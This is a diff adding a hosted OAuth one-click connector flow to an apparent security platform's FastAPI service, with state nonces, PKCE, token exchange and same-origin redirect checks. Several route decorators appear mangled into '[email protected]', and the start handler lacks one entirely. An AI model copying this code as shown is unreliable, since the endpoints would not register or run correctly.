+ # Audit write failures must not break the user-facing response;
+ # an audit_log outage shouldn't cause a 500 on every lake
+ # query. We log loudly so ops can investigate.
+ logger.error(
+ "lake.audit.failed tenant_id=%s outcome=%s error=%s",
+ tenant_id,
+ outcome,
+ exc,
+ )
diff --git a/services/api/app/api/v1/endpoints/oauth.py b/services/api/app/api/v1/endpoints/oauth.py
new file mode 100644
index 000000000..424fd3eaa
--- /dev/null
+++ b/services/api/app/api/v1/endpoints/oauth.py
@@ -0,0 +1,911 @@
+"""Hosted OAuth one-click connector flow.
+
+Workstream 2 of the AI Stack & Data Integration plan. This module owns the
+two endpoints that turn the ``OAuthHints`` scaffolding (already present on
+every provider that supports it) into a real "Click 'Connect with Okta',
+done" UX.
+
+Endpoint contract
+-----------------
+
+* ``GET /api/v1/oauth/start``
+ Operator clicks "Connect with <provider>" in the wizard. We mint a
+ 32-byte URL-safe ``state`` nonce, persist it with all the threading
+ context we'll need on callback (tenant, user, connector_type, optional
+ connector_id for re-auth, optional PKCE verifier), and 302 the browser
+ to the provider's authorize URL.
+
+ Tenant must have already registered an OAuth app for this connector
+ class via ``PUT /api/v1/oauth/app/{connector_type}``. We refuse to
+ bake in a single shared client_id — that's how SaaS providers get
+ revoked at scale.
+
+* ``GET /api/v1/oauth/callback``
+ Provider 302s back here with ``?code=…&state=…``. We:
+
+ 1. Look up the row in ``oauth_states`` (single-use, expires after
+ 10 min). If absent / expired, refuse — this is the CSRF gate.
+ 2. Resolve the tenant's OAuth app credentials.
+ 3. POST to the provider's token endpoint to swap ``code`` for an
+ access_token + refresh_token.
+ 4. Encrypt both into the connector's ``auth_config`` via the credential
+ vault (same path the wizard uses for pasted secrets), set
+ ``oauth_provisioned=True`` so Workstream 5's auto-refresh worker
+ knows it owns rotation, and either INSERT a new connector row or
+ UPDATE an existing one.
+ 5. Delete the state row (single-use defence in depth).
+ 6. 302 the operator to ``return_to`` so /onboarding's
+ verify-data-flowing screen lights up.
+
+* ``GET / PUT /api/v1/oauth/app/{connector_type}``
+ Per-tenant OAuth client management. The PUT body carries client_id +
+ client_secret (encrypted-at-rest via the vault). The GET projects
+ only ``has_secret: bool`` so an admin can audit that the credential
+ is wired without leaking it back to the browser.
+
+Why this lives in services/api
+------------------------------
+
+The connectors microservice is intentionally stateless — it owns
+``test_connection()`` for each provider but not Postgres. OAuth state
+nonces *and* the post-callback connector row update both touch
+Postgres, so we keep the whole flow inside the API service. The actual
+HTTP bounce to the provider is just an ``httpx`` call; no microservice
+hop is needed.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import json
+import logging
+import re
+import secrets
+import uuid
+from datetime import UTC, datetime, timedelta
+from typing import Annotated, Any
+from urllib.parse import urlencode
+
+import httpx
+from fastapi import APIRouter, Depends, HTTPException, Query, status
+from fastapi.responses import RedirectResponse
+from pydantic import BaseModel, Field
+from sqlalchemy import delete, select
+
+from app.api.v1.deps import AuthUser, DBSession, require_permission
+from app.api.v1.endpoints.connectors import _validate_connector_type
+from app.core.config import settings
+from app.models.connector import Connector
+from app.models.oauth import OAuthAppCredential, OAuthState
+from app.security.credential_vault import CredentialVaultError, get_vault
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/oauth", tags=["oauth"])
+
+
+# --------------------------------------------------------------- constants
+
+# Same regex used in connectors.py — we don't want a hostile state row
+# ever embedding path traversal / log injection in connector_type.
+_CONNECTOR_TYPE_RE = re.compile(r"^[a-zA-Z0-9_\-]{1,100}$")
+_LOG_CTRL_RE = re.compile(r"[\x00-\x1f\x7f]")
+
+# OAuth state TTL. The plan calls it 10 minutes; that's tight enough that
+# a stolen state cookie is useless before it expires, loose enough that a
+# corporate SSO redirect to a long-running consent screen doesn't trip
+# over its own laces.
+_STATE_TTL = timedelta(minutes=10)
+
+# Providers that mandate PKCE in their 3LO flow. We default to "off"
+# because most enterprise OAuth (Okta, Azure AD, Google Workspace) is
+# happy with client_secret-only confidential clients, but we always
+# generate a PKCE verifier when the provider requires it.
+_PKCE_REQUIRED: set[str] = {
+ # Atlassian Cloud (Jira / Confluence) requires PKCE for 3LO.
+ "jira",
+ "confluence",
+ "atlassian",
+}
+
+# Some providers expect extra non-standard query params on the authorize
+# URL. We thread these through ``OAuthHints``-derived defaults plus
+# per-provider overrides keyed by connector_type.
+_AUTHORIZE_EXTRA_PARAMS: dict[str, dict[str, str]] = {
+ # Atlassian 3LO needs ``audience=api.atlassian.com`` and ``prompt=consent``
+ # to surface the consent screen + return a refresh_token.
+ "jira": {"audience": "api.atlassian.com", "prompt": "consent"},
+ # Google requires access_type=offline + prompt=consent to mint a
+ # refresh_token on second-and-subsequent connects from the same user.
+ "google_workspace": {"access_type": "offline", "prompt": "consent"},
+ # Microsoft Graph wants response_mode=query for consistency with
+ # other providers; ``offline_access`` scope (set in OAuthHints) is
+ # what actually triggers refresh_token issuance.
+ "azure_entra": {"response_mode": "query"},
+ "m365_audit": {"response_mode": "query"},
+}
+
+
+# --------------------------------------------------------------- helpers
+
+
+def _safe_log_val(value: str) -> str:
+ return _LOG_CTRL_RE.sub("", value)
+
+
+def _safe_connector_type(value: str) -> str:
+ if not _CONNECTOR_TYPE_RE.match(value or ""):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="connector_type must be alphanumeric (with - and _)",
+ )
+ return value
+
+
+async def _fetch_catalog_entry(connector_type: str) -> dict[str, Any]:
+ """Resolve the connector's catalog entry (with OAuthHints) or 422.
+
+ Reuses :func:`_validate_connector_type` so we share one source of
+ truth with the wizard's POST flow — the catalog ships the
+ ``category`` we'll use on insert + the ``oauth`` hints (authorize
+ URL, token URL, scopes) we need for the redirect dance.
+ """
+ return await _validate_connector_type(connector_type)
+
+
+def _hints_from_catalog(catalog_entry: dict[str, Any]) -> dict[str, Any]:
+ """Pull the ``oauth`` block from a catalog entry (empty when absent)."""
+ hints = catalog_entry.get("oauth") or {}
+ return hints if isinstance(hints, dict) else {}
+
+
+def _resolve_redirect_uri() -> str:
+ """The exact redirect_uri the tenant must pre-register with the provider.
+
+ Providers reject mismatched redirect_uris for good reason — it's the
+ only field that lets them defend against an open-redirect-style
+ abuse of their OAuth flow. So we serve a single canonical URL per
+ deployment. ``OAUTH_PUBLIC_BASE_URL`` is what operators set in their
+ ``.env``; empty disables the flow entirely (start endpoint 503s).
+ """
+ base = (settings.OAUTH_PUBLIC_BASE_URL or "").rstrip("/")
+ if not base:
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "Hosted OAuth is not configured. Operator must set "
+ "OAUTH_PUBLIC_BASE_URL to the public URL of this API "
+ "service (e.g. https://api.tryaisoc.com)."
+ ),
+ )
+ return f"{base}/api/v1/oauth/callback"
+
+
+def _resolve_console_base() -> str:
+ """Public base URL of the console for default ``return_to`` redirects."""
+ return (settings.CONSOLE_PUBLIC_BASE_URL or "").rstrip("/")
+
+
+def _validate_return_to(return_to: str | None) -> str:
+ """Allow only same-origin (or relative) redirects after callback.
+
+ Critical: if we let the operator pass any URL, a hostile authorize
+ flow can steer them to ``return_to=https://attacker.com`` and
+ weaponise the OAuth round-trip into a phishing redirect. We accept
+ only:
+ * Pure paths starting with ``/`` (e.g. ``/onboarding``).
+ * Absolute URLs whose origin matches ``CONSOLE_PUBLIC_BASE_URL``.
+ """
+ default = "/onboarding"
+ if not return_to:
+ return default
+ if return_to.startswith("/") and not return_to.startswith("//"):
+ return return_to
+ base = _resolve_console_base()
+ if base and return_to.startswith(base + "/"):
+ return return_to
+ if base and return_to == base:
+ return return_to
+ logger.info(
+ "oauth.return_to.rejected raw=%s falling_back_to=%s",
+ _safe_log_val(return_to)[:200],
+ default,
+ )
+ return default
+
+
+def _pkce_pair() -> tuple[str, str]:
+ """Generate an RFC 7636 PKCE (verifier, S256 challenge) pair."""
+ verifier = secrets.token_urlsafe(64)[:128] # 43..128 chars per RFC
+ digest = hashlib.sha256(verifier.encode("ascii")).digest()
+ challenge = base64.urlsafe_b64encode(digest).rstrip(b"=").decode("ascii")
+ return verifier, challenge
+
+
+async def _resolve_oauth_app(
+ db,
+ tenant_id: uuid.UUID,
+ connector_type: str,
+) -> OAuthAppCredential:
+ """Fetch the tenant's OAuth app row or 404.
+
+ 404s when the tenant hasn't registered an app yet — the wizard will
+ redirect to a "register your OAuth app" step.
+ """
+ app_row = await db.execute(
+ select(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == tenant_id,
+ OAuthAppCredential.connector_type == connector_type,
+ )
+ )
+ app_credential: OAuthAppCredential | None = app_row.scalar_one_or_none()
+ if app_credential is None:
+ raise HTTPException(
+ status_code=status.HTTP_404_NOT_FOUND,
+ detail=(
+ f"No OAuth app registered for connector_type={connector_type}. "
+ f"Register one via PUT /api/v1/oauth/app/{connector_type} "
+ "before starting the hosted OAuth flow."
+ ),
+ )
+ return app_credential
+
+
+def _resolve_authorize_url(
+ app_credential: OAuthAppCredential,
+ hints: dict[str, Any],
+) -> str:
+ """Per-tenant override beats schema hint beats hard error."""
+ url = (app_credential.authorize_url or hints.get("authorize_url") or "").strip()
+ if not url:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=(
+ "Connector schema does not advertise an authorize_url and "
+ "tenant did not override it. Edit the OAuth app row to "
+ "supply authorize_url."
+ ),
+ )
+ return url
+
+
+def _resolve_token_url(
+ app_credential: OAuthAppCredential,
+ hints: dict[str, Any],
+) -> str:
+ url = (app_credential.token_url or hints.get("token_url") or "").strip()
+ if not url:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=(
+ "Connector schema does not advertise a token_url and "
+ "tenant did not override it."
+ ),
+ )
+ return url
+
+
+def _resolve_scopes(
+ app_credential: OAuthAppCredential,
+ hints: dict[str, Any],
+) -> list[str]:
+ if app_credential.scopes:
+ return list(app_credential.scopes)
+ raw = hints.get("scopes") or []
+ return [str(s) for s in raw if s]
+
+
+# --------------------------------------------------------------- request models
+
+
+class OAuthAppRegistration(BaseModel):
+ """Payload for ``PUT /api/v1/oauth/app/{connector_type}``."""
+
+ client_id: str = Field(min_length=1, max_length=512)
+ client_secret: str = Field(min_length=1, max_length=4096)
+ authorize_url: str | None = Field(default=None, max_length=512)
+ token_url: str | None = Field(default=None, max_length=512)
+ scopes: list[str] | None = Field(default=None, max_length=64)
+
+
+class OAuthAppView(BaseModel):
+ """Read-only projection of an :class:`OAuthAppCredential`.
+
+ Never round-trips the secret — only ``has_secret: bool`` so the UI
+ can render a "credential present, last updated X days ago" badge.
+ """
+
+ connector_type: str
+ client_id: str
+ has_secret: bool
+ authorize_url: str | None
+ token_url: str | None
+ scopes: list[str] | None
+ created_at: datetime
+ updated_at: datetime
+
+
+class OAuthStartResponse(BaseModel):
+ """Returned when the caller asks for JSON instead of a 302.
+
+ Useful for SPAs that want to handle the redirect themselves.
+ """
+
+ authorize_url: str
+ state: str
+
+
+# --------------------------------------------------------------- OAuth app management
+
+
[email protected]("/app/{connector_type}", response_model=OAuthAppView)
+async def get_oauth_app(
+ connector_type: str,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:read"))],
+ db: DBSession,
+) -> OAuthAppView:
+ """Return the tenant's registered OAuth app (without the secret)."""
+ safe_type = _safe_connector_type(connector_type)
+ res = await db.execute(
+ select(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == current_user.tenant_id,
+ OAuthAppCredential.connector_type == safe_type,
+ )
+ )
+ row: OAuthAppCredential | None = res.scalar_one_or_none()
+ if row is None:
+ raise HTTPException(
+ status_code=status.HTTP_404_NOT_FOUND,
+ detail="No OAuth app registered for this connector_type",
+ )
+ return OAuthAppView(
+ connector_type=row.connector_type,
+ client_id=row.client_id,
+ has_secret=bool(row.client_secret_vault),
+ authorize_url=row.authorize_url,
+ token_url=row.token_url,
+ scopes=list(row.scopes) if row.scopes else None,
+ created_at=row.created_at,
+ updated_at=row.updated_at,
+ )
+
+
[email protected]("/app/{connector_type}", response_model=OAuthAppView)
+async def upsert_oauth_app(
+ connector_type: str,
+ payload: OAuthAppRegistration,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: DBSession,
+) -> OAuthAppView:
+ """Register or rotate the tenant's OAuth client for this connector class."""
+ safe_type = _safe_connector_type(connector_type)
+ try:
+ encrypted_secret = get_vault().encrypt(payload.client_secret)
+ except CredentialVaultError as exc:
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail="Failed to encrypt OAuth client secret",
+ ) from exc
+
+ res = await db.execute(
+ select(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == current_user.tenant_id,
+ OAuthAppCredential.connector_type == safe_type,
+ )
+ )
+ existing: OAuthAppCredential | None = res.scalar_one_or_none()
+ now = datetime.now(UTC)
+ if existing is None:
+ row = OAuthAppCredential(
+ tenant_id=current_user.tenant_id,
+ connector_type=safe_type,
+ client_id=payload.client_id,
+ client_secret_vault=encrypted_secret,
+ authorize_url=payload.authorize_url,
+ token_url=payload.token_url,
+ scopes=payload.scopes,
+ created_at=now,
+ updated_at=now,
+ )
+ db.add(row)
+ else:
+ existing.client_id = payload.client_id
+ existing.client_secret_vault = encrypted_secret
+ existing.authorize_url = payload.authorize_url
+ existing.token_url = payload.token_url
+ existing.scopes = payload.scopes
+ existing.updated_at = now
+ row = existing
+ await db.commit()
+ await db.refresh(row)
+
+ logger.info(
+ "oauth.app.upsert tenant=%s connector_type=%s created=%s",
+ current_user.tenant_id,
+ _safe_log_val(safe_type),
+ existing is None,
+ )
+ return OAuthAppView(
+ connector_type=row.connector_type,
+ client_id=row.client_id,
+ has_secret=bool(row.client_secret_vault),
+ authorize_url=row.authorize_url,
+ token_url=row.token_url,
+ scopes=list(row.scopes) if row.scopes else None,
+ created_at=row.created_at,
+ updated_at=row.updated_at,
+ )
+
+
[email protected]("/app/{connector_type}", status_code=status.HTTP_204_NO_CONTENT)
+async def delete_oauth_app(
+ connector_type: str,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: DBSession,
+) -> None:
+ """Unregister the tenant's OAuth app for this connector class."""
+ safe_type = _safe_connector_type(connector_type)
+ await db.execute(
+ delete(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == current_user.tenant_id,
+ OAuthAppCredential.connector_type == safe_type,
+ )
+ )
+ await db.commit()
+ logger.info(
+ "oauth.app.delete tenant=%s connector_type=%s",
+ current_user.tenant_id,
+ _safe_log_val(safe_type),
+ )
+
+
+# --------------------------------------------------------------- /oauth/start
+
+
+async def oauth_start(
+ connector_type: Annotated[str, Query(description="Connector class to OAuth into")],
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: DBSession,
+ connector_id: Annotated[uuid.UUID | None, Query(description="Re-auth target; omit to mint a new connector")] = None,
+ return_to: Annotated[str | None, Query(description="Where to land after callback (defaults to /onboarding)")] = None,
+ name: Annotated[str | None, Query(description="Operator-supplied display name for new connectors")] = None,
+ extras: Annotated[str | None, Query(description="JSON dict of provider-specific extras (e.g. organization for GitHub)")] = None,
+ response_mode: Annotated[str, Query(pattern=r"^(redirect|json)$")] = "redirect",
+):
+ """Mint a state nonce and bounce the operator to the provider's authorize URL."""
+ safe_type = _safe_connector_type(connector_type)
+ redirect_uri = _resolve_redirect_uri() # 503s if not configured
+
+ # Validate against the live catalog (defense in depth — same gate
+ # the POST /connectors path uses) and pull OAuth hints in one shot.
+ catalog_entry = await _fetch_catalog_entry(safe_type)
+ hints = _hints_from_catalog(catalog_entry)
+
+ # Schema is the source of truth for whether hosted OAuth is wired
+ # for this provider. supported_in_hosted=False (or missing) means
+ # the connector's class hasn't opted into the flow yet.
+ if not bool(hints.get("supported_in_hosted")):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Connector {safe_type} has not opted into hosted OAuth.",
+ )
+
+ app_credential = await _resolve_oauth_app(db, current_user.tenant_id, safe_type)
+
+ # Parse extras JSON safely; reject anything that's not a flat dict.
+ extras_payload: dict[str, Any] = {}
+ if extras:
+ try:
+ parsed = json.loads(extras)
+ except json.JSONDecodeError as exc:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"extras must be valid JSON: {exc}",
+ ) from exc
+ if not isinstance(parsed, dict):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="extras must decode to a JSON object",
+ )
+ extras_payload = parsed
+ if name:
+ extras_payload.setdefault("display_name", name[:200])
+
+ if connector_id is not None:
+ # Re-auth path: confirm the connector exists and belongs to this
+ # tenant so a hostile state row can't pivot to another tenant's
+ # connector by guessing UUIDs.
+ existing = await db.execute(
+ select(Connector).where(
+ Connector.id == connector_id,
+ Connector.tenant_id == current_user.tenant_id,
+ )
+ )
+ if existing.scalar_one_or_none() is None:
+ raise HTTPException(
+ status_code=status.HTTP_404_NOT_FOUND,
+ detail="Connector not found for re-auth",
+ )
+
+ state = secrets.token_urlsafe(32)
+ needs_pkce = safe_type in _PKCE_REQUIRED
+ code_verifier: str | None = None
+ code_challenge: str | None = None
+ if needs_pkce:
+ code_verifier, code_challenge = _pkce_pair()
+
+ state_row = OAuthState(
+ state=state,
+ tenant_id=current_user.tenant_id,
+ user_id=current_user.user_id,
+ connector_type=safe_type,
+ connector_id=connector_id,
+ code_verifier=code_verifier,
+ extras=extras_payload,
+ return_to=_validate_return_to(return_to),
+ created_at=datetime.now(UTC),
+ expires_at=datetime.now(UTC) + _STATE_TTL,
+ )
+ db.add(state_row)
+ await db.commit()
+
+ authorize_url = _resolve_authorize_url(app_credential, hints)
+ scopes = _resolve_scopes(app_credential, hints)
+
+ qs: dict[str, str] = {
+ "client_id": app_credential.client_id,
+ "response_type": "code",
+ "redirect_uri": redirect_uri,
+ "state": state,
+ }
+ if scopes:
+ qs["scope"] = " ".join(scopes)
+ if needs_pkce and code_challenge:
+ qs["code_challenge"] = code_challenge
+ qs["code_challenge_method"] = "S256"
+ qs.update(_AUTHORIZE_EXTRA_PARAMS.get(safe_type, {}))
+
+ sep = "&" if "?" in authorize_url else "?"
+ full_authorize = f"{authorize_url}{sep}{urlencode(qs, safe=':+/?#@!$&()*+,;=')}"
+
+ logger.info(
+ "oauth.start tenant=%s connector_type=%s reauth=%s pkce=%s",
+ current_user.tenant_id,
+ _safe_log_val(safe_type),
+ connector_id is not None,
+ needs_pkce,
+ )
+
+ if response_mode == "json":
+ return OAuthStartResponse(authorize_url=full_authorize, state=state)
+ return RedirectResponse(url=full_authorize, status_code=302)
+
+
+# --------------------------------------------------------------- /oauth/callback
+
+
+def _callback_error_redirect(return_to: str, code: str, detail: str) -> RedirectResponse:
+ """Bounce back to the console with a structured error payload.
+
+ We never render an error page in the API service itself — the console
+ owns the operator UX, and the verify-data-flowing screen already
+ knows how to surface ``oauth_error=…&oauth_message=…`` on
+ /onboarding.
+ """
+ sep = "&" if "?" in return_to else "?"
+ qs = urlencode({"oauth_error": code, "oauth_message": detail[:200]})
+ return RedirectResponse(url=f"{return_to}{sep}{qs}", status_code=302)
+
+
[email protected]("/callback")
+async def oauth_callback(
+ db: DBSession,
+ code: Annotated[str | None, Query()] = None,
+ state: Annotated[str | None, Query()] = None,
+ error: Annotated[str | None, Query()] = None,
+ error_description: Annotated[str | None, Query()] = None,
+):
+ """Handle the provider's redirect after the operator consents.
+
+ No auth dependency: this endpoint is invoked by the *browser* after
+ a third-party redirect, not by an authenticated console session.
+ The CSRF defence is the ``state`` nonce, which we issued ourselves
+ at /oauth/start under an authenticated session.
+ """
+ if not state:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="Missing OAuth state parameter",
+ )
+
+ state_res = await db.execute(
+ select(OAuthState).where(OAuthState.state == state)
+ )
+ state_row: OAuthState | None = state_res.scalar_one_or_none()
+ if state_row is None:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="Unknown or already-consumed OAuth state",
+ )
+ if state_row.expires_at < datetime.now(UTC):
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="OAuth state has expired; restart the connector flow",
+ )
+
+ return_to = _validate_return_to(state_row.return_to)
+
+ # Provider returned an error short of a code. Common cases: operator
+ # clicked "Deny", IdP refused the scope set, redirect_uri mismatch.
+ if error:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ logger.warning(
+ "oauth.callback.provider_error tenant=%s connector_type=%s err=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ _safe_log_val(error),
+ )
+ return _callback_error_redirect(
+ return_to,
+ error,
+ error_description or "Provider rejected the OAuth request.",
+ )
+
+ if not code:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="Missing authorization code on callback",
+ )
+
+ # Resolve the per-tenant OAuth app and decrypt its client_secret for
+ # the token exchange. The vault round-trip is the only place we ever
+ # touch the secret in cleartext.
+ app_res = await db.execute(
+ select(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == state_row.tenant_id,
+ OAuthAppCredential.connector_type == state_row.connector_type,
+ )
+ )
+ app_credential: OAuthAppCredential | None = app_res.scalar_one_or_none()
+ if app_credential is None:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "missing_app_credential",
+ "OAuth app credential disappeared mid-flow.",
+ )
+ try:
+ client_secret = get_vault().decrypt(app_credential.client_secret_vault)
+ except CredentialVaultError as exc:
+ logger.error(
+ "oauth.callback.secret_decrypt_failed tenant=%s connector_type=%s err=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ type(exc).__name__,
+ )
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "vault_failure",
+ "Could not decrypt OAuth client secret; operator must rotate it.",
+ )
+
+ # Re-fetch the catalog entry on callback so we (a) get fresh OAuth
+ # hints for the token exchange and (b) recover the connector category
+ # to stamp on the new row — same gate as POST /connectors.
+ try:
+ catalog_entry = await _fetch_catalog_entry(state_row.connector_type)
+ except HTTPException:
+ # Connector class disappeared from the catalog between start and
+ # callback (deployment in flight). Bail with a clear error.
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "connector_type_unknown",
+ f"Connector type {state_row.connector_type} is no longer available.",
+ )
+ hints = _hints_from_catalog(catalog_entry)
+ catalog_category = catalog_entry.get("category") or "uncategorized"
+ token_url = _resolve_token_url(app_credential, hints)
+ redirect_uri = _resolve_redirect_uri()
+
+ body: dict[str, str] = {
+ "grant_type": "authorization_code",
+ "code": code,
+ "redirect_uri": redirect_uri,
+ "client_id": app_credential.client_id,
+ "client_secret": client_secret,
+ }
+ if state_row.code_verifier:
+ body["code_verifier"] = state_row.code_verifier
+
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ token_resp = await client.post(
+ token_url,
+ data=body,
+ headers={
+ "Accept": "application/json",
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ )
+ token_resp.raise_for_status()
+ except httpx.HTTPStatusError as exc:
+ # Bubble up the provider's error body to operator logs (truncated)
+ # but only a generic message to the browser. The provider's body
+ # is often the gotcha (e.g. "redirect_uri mismatch").
+ detail = ""
+ try:
+ detail = exc.response.text[:512]
+ except Exception: # pragma: no cover - response.text rarely fails
+ pass
+ logger.warning(
+ "oauth.callback.token_exchange_failed tenant=%s connector_type=%s status=%s body=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ exc.response.status_code,
+ _safe_log_val(detail),
+ )
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "token_exchange_failed",
+ f"Provider returned {exc.response.status_code}.",
+ )
+ except httpx.HTTPError as exc:
+ logger.warning(
+ "oauth.callback.token_exchange_unreachable tenant=%s connector_type=%s err=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ type(exc).__name__,
+ )
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "token_exchange_unreachable",
+ "Could not reach the OAuth provider's token endpoint.",
+ )
+
+ try:
+ token_payload = token_resp.json()
+ except ValueError:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "token_response_malformed",
+ "Provider returned a non-JSON token response.",
+ )
+
+ access_token = token_payload.get("access_token")
+ if not access_token:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "no_access_token",
+ "Provider response did not include an access_token.",
+ )
+
+ # Build the auth_config payload the connector classes already
+ # understand. We always include the access_token; refresh_token /
+ # expires_in are optional but cheap to thread through. Provider-
+ # specific extras (Atlassian site_id, GitHub installation_id, etc.)
+ # ride in connector_config so downstream pollers can read them
+ # without decrypting auth_config.
+ auth_payload: dict[str, Any] = {"access_token": access_token}
+ if "refresh_token" in token_payload:
+ auth_payload["refresh_token"] = token_payload["refresh_token"]
+ if "id_token" in token_payload:
+ auth_payload["id_token"] = token_payload["id_token"]
+ if "token_type" in token_payload:
+ auth_payload["token_type"] = token_payload["token_type"]
+
+ # Compute an absolute expires_at so the auto-refresh worker
+ # (Workstream 5) doesn't have to track when we received the token.
+ expires_in = token_payload.get("expires_in")
+ if isinstance(expires_in, (int, float)) and expires_in > 0:
+ auth_payload["expires_at"] = (
+ datetime.now(UTC) + timedelta(seconds=int(expires_in))
+ ).isoformat()
+
+ try:
+ encrypted_auth = get_vault().encrypt_dict(auth_payload)
+ except CredentialVaultError as exc:
+ logger.error(
+ "oauth.callback.vault_encrypt_failed tenant=%s connector_type=%s err=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ type(exc).__name__,
+ )
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "vault_failure",
+ "Could not encrypt new OAuth tokens.",
+ )
+
+ connector_config = dict(state_row.extras or {})
+ display_name = connector_config.pop("display_name", None) or state_row.connector_type
+
+ if state_row.connector_id is None:
+ # New connector — operator just clicked "Connect with X" for the
+ # first time. We INSERT with status='configuring' and let the
+ # poller flip it to 'active' on the next successful run.
+ connector = Connector(
+ id=uuid.uuid4(),
+ tenant_id=state_row.tenant_id,
+ name=display_name,
+ connector_type=state_row.connector_type,
+ category=catalog_category,
+ auth_config=encrypted_auth,
+ connector_config=connector_config,
+ tags=[],
+ health_status="configuring",
+ oauth_provisioned=True,
+ is_enabled=True,
+ )
+ db.add(connector)
+ await db.flush()
+ target_id = connector.id
+ else:
+ # Re-auth: rotate auth_config in place and bounce health back to
+ # 'configuring' so the poller will re-test on next sweep.
+ existing_res = await db.execute(
+ select(Connector).where(
+ Connector.id == state_row.connector_id,
+ Connector.tenant_id == state_row.tenant_id,
+ )
+ )
+ connector = existing_res.scalar_one_or_none()
+ if connector is None:
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+ return _callback_error_redirect(
+ return_to,
+ "connector_disappeared",
+ "Connector instance disappeared mid-flow.",
+ )
+ connector.auth_config = encrypted_auth
+ merged_config = dict(connector.connector_config or {})
+ merged_config.update(connector_config)
+ connector.connector_config = merged_config
+ connector.oauth_provisioned = True
+ connector.health_status = "configuring"
+ target_id = connector.id
+
+ # Single-use: delete the state row only after the connector write
+ # succeeded, to keep the flow restartable on transient DB errors.
+ await db.execute(delete(OAuthState).where(OAuthState.state == state))
+ await db.commit()
+
+ logger.info(
+ "oauth.callback.complete tenant=%s connector_type=%s connector_id=%s reauth=%s",
+ state_row.tenant_id,
+ _safe_log_val(state_row.connector_type),
+ target_id,
+ state_row.connector_id is not None,
+ )
+
+ sep = "&" if "?" in return_to else "?"
+ qs = urlencode(
+ {
+ "oauth_success": "1",
+ "connector_id": str(target_id),
+ "connector_type": state_row.connector_type,
+ }
+ )
+ return RedirectResponse(url=f"{return_to}{sep}{qs}", status_code=302)
diff --git a/services/api/app/api/v1/router.py b/services/api/app/api/v1/router.py
index fc8358854..1f9ab66bb 100644
--- a/services/api/app/api/v1/router.py
+++ b/services/api/app/api/v1/router.py
@@ -3,6 +3,7 @@
from fastapi import APIRouter
from app.api.v1.endpoints import (
+ agents,
airgap,
alerts,
api_keys,
@@ -26,9 +27,12 @@ from app.api.v1.endpoints import (
fusion,
hunts,
identity_timeline,
+ inbox,
knowledge_base,
+ lake,
nl_detection,
nl_query,
+ oauth,
graph,
identity_graph,
insider_threat,
@@ -61,6 +65,11 @@ api_router.include_router(api_keys.router)
api_router.include_router(alerts.router)
api_router.include_router(cases.router)
api_router.include_router(connectors.router)
+# Hosted OAuth one-click for connectors (Workstream 2 of AI Stack plan).
+# /oauth/start mints a state nonce + 302 to the provider; /oauth/callback
+# swaps the code, encrypts tokens via the credential vault, and lands the
+# operator back on /onboarding.
+api_router.include_router(oauth.router)
api_router.include_router(tenants.router)
api_router.include_router(detection_rules.router)
# Frontend-shape facade: /api/v1/detection/rules + /api/v1/detection/test
@@ -143,3 +152,25 @@ api_router.include_router(deployment.router)
# Fusion gateway: proxies to services/fusion when FUSION_URL is set, otherwise
# returns graceful empty payloads so the analyst console renders cleanly.
api_router.include_router(fusion.router)
+
+# Agent-facing tool surface (Workstream 4 of AI Stack plan).
